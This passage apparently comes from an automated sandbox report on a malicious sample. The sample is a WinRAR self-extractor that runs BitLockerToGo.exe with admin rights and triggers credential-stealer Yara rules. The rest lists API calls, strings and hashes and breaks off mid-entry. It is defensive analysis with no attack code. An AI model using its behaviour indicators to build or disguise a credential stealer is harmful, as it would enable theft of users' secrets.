Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:05:15
Start date:	30/10/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x150000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1951968090.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1983486359.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1982657253.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1981505063.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1983200877.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1983911161.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1981900349.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1982913303.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1983703963.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1996190492.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1982143036.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	32.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	48

Executed Functions

Function 00007FF70ECDDC4C Relevance: 154.6, APIs: 22, Strings: 66, Instructions: 610
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF70ECDDCA3
LoadLibraryExW.KERNELBASE ref: 00007FF70ECDDDC3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDDE79
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDDE7F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDDE85
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECDDE8B
GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF70ECDDEDC
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF70ECDDEF4
GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF70ECDDF21

Strings

slc.dll, xrefs: 00007FF70ECDE101
clbcatq.dll, xrefs: 00007FF70ECDDFAD
uxtheme.dll, xrefs: 00007FF70ECDE531
ntmarta.dll, xrefs: 00007FF70ECDE0BB
samcli.dll, xrefs: 00007FF70ECDE18D
SetDefaultDllDirectories, xrefs: 00007FF70ECDDF17
srvcli.dll, xrefs: 00007FF70ECDE0E5
XmlLite.dll, xrefs: 00007FF70ECDE1FD
dfscli.dll, xrefs: 00007FF70ECDE1B7
WindowsCodecs.dll, xrefs: 00007FF70ECDE0D7
msasn1.dll, xrefs: 00007FF70ECDE059
ws2_32.dll, xrefs: 00007FF70ECDDFC3
version.dll, xrefs: 00007FF70ECDDF3F
cryptbase.dll, xrefs: 00007FF70ECDDF8C
peerdist.dll, xrefs: 00007FF70ECDE251
aclui.dll, xrefs: 00007FF70ECDE235
profapi.dll, xrefs: 00007FF70ECDE0C9
dsrole.dll, xrefs: 00007FF70ECDE243
netapi32.dll, xrefs: 00007FF70ECDE02F
SSPICLI.DLL, xrefs: 00007FF70ECDDF60
rsaenh.dll, xrefs: 00007FF70ECDDF6B
UXTheme.dll, xrefs: 00007FF70ECDDF76
RpcRtRemote.dll, xrefs: 00007FF70ECDE227
cryptui.dll, xrefs: 00007FF70ECDE067
SetDllDirectoryW, xrefs: 00007FF70ECDDEEA
dhcpcsvc.dll, xrefs: 00007FF70ECDE1EF
lpk.dll, xrefs: 00007FF70ECDDF97
apphelp.dll, xrefs: 00007FF70ECDE013
crypt32.dll, xrefs: 00007FF70ECDE04B
browcli.dll, xrefs: 00007FF70ECDE1C5
oleaccrc.dll, xrefs: 00007FF70ECDE0AD
ws2help.dll, xrefs: 00007FF70ECDDFCE
mpr.dll, xrefs: 00007FF70ECDE155
usp10.dll, xrefs: 00007FF70ECDDFA2
wkscli.dll, xrefs: 00007FF70ECDE1A9
devrtl.dll, xrefs: 00007FF70ECDE163
shell32.dll, xrefs: 00007FF70ECDE083
setupapi.dll, xrefs: 00007FF70ECDE005
dwmapi.dll, xrefs: 00007FF70ECDDF81, 00007FF70ECDE525
psapi.dll, xrefs: 00007FF70ECDDFD9
secur32.dll, xrefs: 00007FF70ECDE091
netutils.dll, xrefs: 00007FF70ECDE147
linkinfo.dll, xrefs: 00007FF70ECDE20B
ieframe.dll, xrefs: 00007FF70ECDDFE4
atl.dll, xrefs: 00007FF70ECDDFFA
cabinet.dll, xrefs: 00007FF70ECDE09F
rasadhlp.dll, xrefs: 00007FF70ECDE1D3
WINNSI.DLL, xrefs: 00007FF70ECDE139
comres.dll, xrefs: 00007FF70ECDDFB8
iphlpapi.DLL, xrefs: 00007FF70ECDE12B
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00007FF70ECDE5FF
ntshrui.dll, xrefs: 00007FF70ECDDFEF
sfc_os.dll, xrefs: 00007FF70ECDDF55
mlang.dll, xrefs: 00007FF70ECDE17F
cscapi.dll, xrefs: 00007FF70ECDE0F3
propsys.dll, xrefs: 00007FF70ECDE171
imageres.dll, xrefs: 00007FF70ECDE10F
DXGIDebug.dll, xrefs: 00007FF70ECDDF4A, 00007FF70ECDE47A
cryptsp.dll, xrefs: 00007FF70ECDE219
samlib.dll, xrefs: 00007FF70ECDE19B
wintrust.dll, xrefs: 00007FF70ECDE075
kernel32, xrefs: 00007FF70ECDDED5
userenv.dll, xrefs: 00007FF70ECDE021
dhcpcsvc6.dll, xrefs: 00007FF70ECDE1E1
shdocvw.dll, xrefs: 00007FF70ECDE03D
dnsapi.DLL, xrefs: 00007FF70ECDE11D

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AddressProc$DirectoryHandleLibraryLoadModuleSystem
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 751436351-2013832382
Opcode ID: 5ec89f6802affc2948b8ee13fc3eda9d2508545244b2c8bba0ddb447261d35e8
Instruction ID: 9b323a32f199ec976349c83822a011bfc4d48e3138b852d255c13912d3ef2259
Opcode Fuzzy Hash: 5ec89f6802affc2948b8ee13fc3eda9d2508545244b2c8bba0ddb447261d35e8
Instruction Fuzzy Hash: E8623D32A1DB82A9EB11AB64EC402EEB364FF44354F944236DA4D477A5EF3ED244C360

Function 00007FF70ECEECE0 Relevance: 125.7, APIs: 61, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECD215C: GetDlgItem.USER32 ref: 00007FF70ECD21AC
Part of subcall function 00007FF70ECD215C: SetWindowTextW.USER32 ref: 00007FF70ECD21C8

EndDialog.USER32 ref: 00007FF70ECEEE20
SetDlgItemTextW.USER32 ref: 00007FF70ECEEE70
GetMessageW.USER32 ref: 00007FF70ECEEEA0
IsDialogMessageW.USER32 ref: 00007FF70ECEEEB9
TranslateMessage.USER32 ref: 00007FF70ECEEECB
DispatchMessageW.USER32 ref: 00007FF70ECEEED9
EndDialog.USER32 ref: 00007FF70ECEEF23
GetDlgItem.USER32 ref: 00007FF70ECEEF60
SendMessageW.USER32 ref: 00007FF70ECEEF81
SendMessageW.USER32 ref: 00007FF70ECEEF99
SetFocus.USER32 ref: 00007FF70ECEEFA2
GetLastError.KERNEL32 ref: 00007FF70ECEF184
GetLastError.KERNEL32 ref: 00007FF70ECEF1B5
GetTickCount.KERNEL32 ref: 00007FF70ECEF1DB
GetLastError.KERNEL32 ref: 00007FF70ECEF245
GetCommandLineW.KERNEL32 ref: 00007FF70ECEF391
CreateFileMappingW.KERNEL32 ref: 00007FF70ECEF450
MapViewOfFile.KERNEL32 ref: 00007FF70ECEF473
ShellExecuteExW.SHELL32 ref: 00007FF70ECEF4AB
Sleep.KERNEL32 ref: 00007FF70ECEF506
UnmapViewOfFile.KERNEL32 ref: 00007FF70ECEF52F
CloseHandle.KERNEL32 ref: 00007FF70ECEF538
SetDlgItemTextW.USER32 ref: 00007FF70ECEF82E
DialogBoxParamW.USER32 ref: 00007FF70ECEFC27
EndDialog.USER32 ref: 00007FF70ECEFC3F
EnableWindow.USER32 ref: 00007FF70ECEFDF6
SendMessageW.USER32 ref: 00007FF70ECEFE48
WaitForInputIdle.USER32 ref: 00007FF70ECEF4F3

Part of subcall function 00007FF70ECDAEE0: LoadStringW.USER32 ref: 00007FF70ECDAF67
Part of subcall function 00007FF70ECDAEE0: LoadStringW.USER32 ref: 00007FF70ECDAF80

SendMessageW.USER32 ref: 00007FF70ECEFA13
SendDlgItemMessageW.USER32 ref: 00007FF70ECEFA3A
GetDlgItem.USER32 ref: 00007FF70ECEFA48
SendMessageW.USER32 ref: 00007FF70ECEFA62
GetDlgItem.USER32 ref: 00007FF70ECEFA9F
SetDlgItemTextW.USER32 ref: 00007FF70ECEFB3C
SetDlgItemTextW.USER32 ref: 00007FF70ECEFB54
SetDlgItemTextW.USER32 ref: 00007FF70ECEFE71
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEFEB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEFEB9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEFEBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEFEC5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEFECB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEFED1
SendDlgItemMessageW.USER32 ref: 00007FF70ECEFF99
EndDialog.USER32 ref: 00007FF70ECEFFB3
GetDlgItem.USER32 ref: 00007FF70ECEFFE1
SetFocus.USER32 ref: 00007FF70ECEFFEA
SendDlgItemMessageW.USER32 ref: 00007FF70ECF008E
FindFirstFileW.KERNEL32 ref: 00007FF70ECF00B2
FindClose.KERNEL32 ref: 00007FF70ECF01DA
SendDlgItemMessageW.USER32 ref: 00007FF70ECF02FF

Part of subcall function 00007FF70ECD12BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF70ECD13B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF05F9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF05FF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF0605
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF060B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF0611
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF0617

Strings

@, xrefs: 00007FF70ECEF306
p, xrefs: 00007FF70ECEF2FB
STARTDLG, xrefs: 00007FF70ECEED1A
%s %s, xrefs: 00007FF70ECF0229, 00007FF70ECF0496
__tmp_rar_sfx_access_check_, xrefs: 00007FF70ECEF1F9
LICENSEDLG, xrefs: 00007FF70ECEFC19
winrarsfxmappingfile.tmp, xrefs: 00007FF70ECEF430
REPLACEFILEDLG, xrefs: 00007FF70ECEFF23
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF70ECEF2E9
runas, xrefs: 00007FF70ECEF319

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Item$Message$_invalid_parameter_noinfo_noreturn$Send$DialogText$File$ErrorLast$CloseFindFocusLoadStringViewWindow$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleIdleInputLineMappingParamShellSleepTickTranslateUnmapWait
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 2514108016-2702805183
Opcode ID: 656f4d71f1355d92385f88fb14d0a5aa5a8e80a74f0fc3a42f07c745783969ed
Instruction ID: 549c47aa3b431029c806d6c4cd3e9bd271a15d816c8174cea885738a1437412c
Opcode Fuzzy Hash: 656f4d71f1355d92385f88fb14d0a5aa5a8e80a74f0fc3a42f07c745783969ed
Instruction Fuzzy Hash: 24D29162B0D782A5EA20BB25EC542FAE361EF85784FC04136D98D477A6DF3EE544C720

Function 00007FF70ECF09D8 Relevance: 66.7, APIs: 27, Strings: 10, Instructions: 1963windowfileCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF70ECF1143
SendMessageW.USER32 ref: 00007FF70ECF1176
SendMessageW.USER32 ref: 00007FF70ECF11A5
SHFileOperationW.SHELL32 ref: 00007FF70ECF150B
MoveFileW.KERNEL32 ref: 00007FF70ECF169B
MoveFileExW.KERNEL32 ref: 00007FF70ECF16B9
GetTempPathW.KERNEL32 ref: 00007FF70ECF1799

Part of subcall function 00007FF70ECD1B70: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD1BCB

EndDialog.USER32 ref: 00007FF70ECF1B1A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF70ECF2A33
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A3F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A57
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A5D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A63
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A69
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A6F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A75
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A7B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A81
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A87
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A8D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A93
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A99
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2A9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2AA5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF2AAB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF70ECF2AB7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF70ECF2AC3

Strings

MAX, xrefs: 00007FF70ECF25D2, 00007FF70ECF25E1
.tmp, xrefs: 00007FF70ECF15D5
.lnk, xrefs: 00007FF70ECF1F56, 00007FF70ECF1F65
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF70ECF1051
ProgramFilesDir, xrefs: 00007FF70ECF1040
HIDE, xrefs: 00007FF70ECF2535, 00007FF70ECF2544
@set:user, xrefs: 00007FF70ECF18E6, 00007FF70ECF18F5
lnk, xrefs: 00007FF70ECF1F1A, 00007FF70ECF1F29
MIN, xrefs: 00007FF70ECF2635, 00007FF70ECF2644
<br>, xrefs: 00007FF70ECF122A, 00007FF70ECF1239

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskFile$MessageMoveSend$DialogItemOperationPathTemp
String ID: .lnk$.tmp$<br>$@set:user$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$lnk
API String ID: 2933078328-3916287355
Opcode ID: 55dfa35ca51e5714cd7530dcbfea3c77453af1272171f684410000b67e8c5d25
Instruction ID: bb94bd1296644117aa06638196ea7da0a5f2a9f3c810139d59475db85e10e52f
Opcode Fuzzy Hash: 55dfa35ca51e5714cd7530dcbfea3c77453af1272171f684410000b67e8c5d25
Instruction Fuzzy Hash: A713D372B08782A9EB10EF64DC502EE67B1EF40798F941136DA4D17AEADF39D584C360

Function 00007FF70ECF400C Relevance: 47.8, APIs: 22, Strings: 5, Instructions: 539
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF70ECDDC4C: GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF70ECDDEDC
Part of subcall function 00007FF70ECDDC4C: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF70ECDDEF4
Part of subcall function 00007FF70ECDDC4C: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF70ECDDF21

Part of subcall function 00007FF70ECD7A28: GetCurrentDirectoryW.KERNEL32 ref: 00007FF70ECD7A3E
Part of subcall function 00007FF70ECD7A28: GetCurrentDirectoryW.KERNEL32 ref: 00007FF70ECD7A78

Part of subcall function 00007FF70ECED0A8: OleInitialize.OLE32 ref: 00007FF70ECED0C2
Part of subcall function 00007FF70ECED0A8: SHGetMalloc.SHELL32 ref: 00007FF70ECED110

GetCommandLineW.KERNEL32 ref: 00007FF70ECF4226
OpenFileMappingW.KERNEL32 ref: 00007FF70ECF42BF
MapViewOfFile.KERNEL32 ref: 00007FF70ECF42E8
UnmapViewOfFile.KERNEL32 ref: 00007FF70ECF42FE
MapViewOfFile.KERNEL32 ref: 00007FF70ECF431B
UnmapViewOfFile.KERNEL32 ref: 00007FF70ECF4382
CloseHandle.KERNEL32 ref: 00007FF70ECF438B
SetEnvironmentVariableW.KERNEL32 ref: 00007FF70ECF4465
GetLocalTime.KERNEL32 ref: 00007FF70ECF4470
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70ECF44CB
SetEnvironmentVariableW.KERNEL32 ref: 00007FF70ECF44DE
GetModuleHandleW.KERNEL32 ref: 00007FF70ECF44E6
LoadIconW.USER32 ref: 00007FF70ECF4505
DialogBoxParamW.USER32 ref: 00007FF70ECF456E
Sleep.KERNEL32 ref: 00007FF70ECF459E
DeleteObject.GDI32 ref: 00007FF70ECF45C5
DeleteObject.GDI32 ref: 00007FF70ECF45D7
CloseHandle.KERNEL32 ref: 00007FF70ECF461F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF468F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF4695
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF469B

Part of subcall function 00007FF70ECF3810: SetEnvironmentVariableW.KERNEL32 ref: 00007FF70ECF3847
Part of subcall function 00007FF70ECF3810: SetEnvironmentVariableW.KERNEL32 ref: 00007FF70ECF38C0

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF4964

Strings

sfxstime, xrefs: 00007FF70ECF44D7
sfxname, xrefs: 00007FF70ECF4453
STARTDLG, xrefs: 00007FF70ECF455D
winrarsfxmappingfile.tmp, xrefs: 00007FF70ECF42B1
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF70ECF44BA

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView_invalid_parameter_noinfo_noreturn$AddressCloseCurrentDeleteDirectoryModuleObjectProcUnmap$CommandDialogIconInitializeLineLoadLocalMallocMappingOpenParamSleepTimeswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3767324925-3710569615
Opcode ID: a58a6387ee17bb6639eb3cae4dff6e3da3947667857c240d721c3ea59f8806c2
Instruction ID: b038bbad2ca370c2fd33099b68ca45234cac89e74342193d9097bcaefc816071
Opcode Fuzzy Hash: a58a6387ee17bb6639eb3cae4dff6e3da3947667857c240d721c3ea59f8806c2
Instruction Fuzzy Hash: E642A372B19B82A1EB14EF24EC542BEA365FF84B84F844236DA9D47A95DF3DD540C320

Function 00007FF70ECDA8AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70ECDA904

Part of subcall function 00007FF70ECE0688: WideCharToMultiByte.KERNEL32 ref: 00007FF70ECE06B9

SetDlgItemTextW.USER32 ref: 00007FF70ECDA973
GetWindowRect.USER32 ref: 00007FF70ECDA9AD
GetClientRect.USER32 ref: 00007FF70ECDA9BB
GetWindowLongPtrW.USER32 ref: 00007FF70ECDAA6C
GetWindowRect.USER32 ref: 00007FF70ECDAAB2
SetWindowTextW.USER32 ref: 00007FF70ECDAAEC
GetSystemMetrics.USER32 ref: 00007FF70ECDAAF7
GetWindow.USER32 ref: 00007FF70ECDAB08
GetWindowRect.USER32 ref: 00007FF70ECDAB46
GetWindow.USER32 ref: 00007FF70ECDAC08

Strings

$%s:, xrefs: 00007FF70ECDA8EF
CAPTION, xrefs: 00007FF70ECDAACF

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 2100155373-404845831
Opcode ID: 37b82379b4c8609f857ddfdd2aaec8a8c1c03398c79129c67daa6eff71331f07
Instruction ID: ab76762f9df008b1a6fb46394a885ff2a6e3d033f0a24af16706d38a02b22ada
Opcode Fuzzy Hash: 37b82379b4c8609f857ddfdd2aaec8a8c1c03398c79129c67daa6eff71331f07
Instruction Fuzzy Hash: 0F91C536B1864596E714EF39AD006AAE7A1FBC4784F845135EE4D47B98CF3EE805CB10

Function 00007FF70ECEC260 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF70ECF4517), ref: 00007FF70ECEC279
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF70ECF4517), ref: 00007FF70ECEC295
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF70ECF4517), ref: 00007FF70ECEC2AF
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF70ECF4517), ref: 00007FF70ECEC2C1
GlobalAlloc.KERNELBASE ref: 00007FF70ECEC2E2
GlobalLock.KERNEL32 ref: 00007FF70ECEC2F7
CreateStreamOnHGlobal.COMBASE ref: 00007FF70ECEC324
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF70ECEC3A5
GlobalUnlock.KERNEL32 ref: 00007FF70ECEC3C8
GlobalFree.KERNEL32 ref: 00007FF70ECEC3D1

Strings

PNG, xrefs: 00007FF70ECEC26B

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

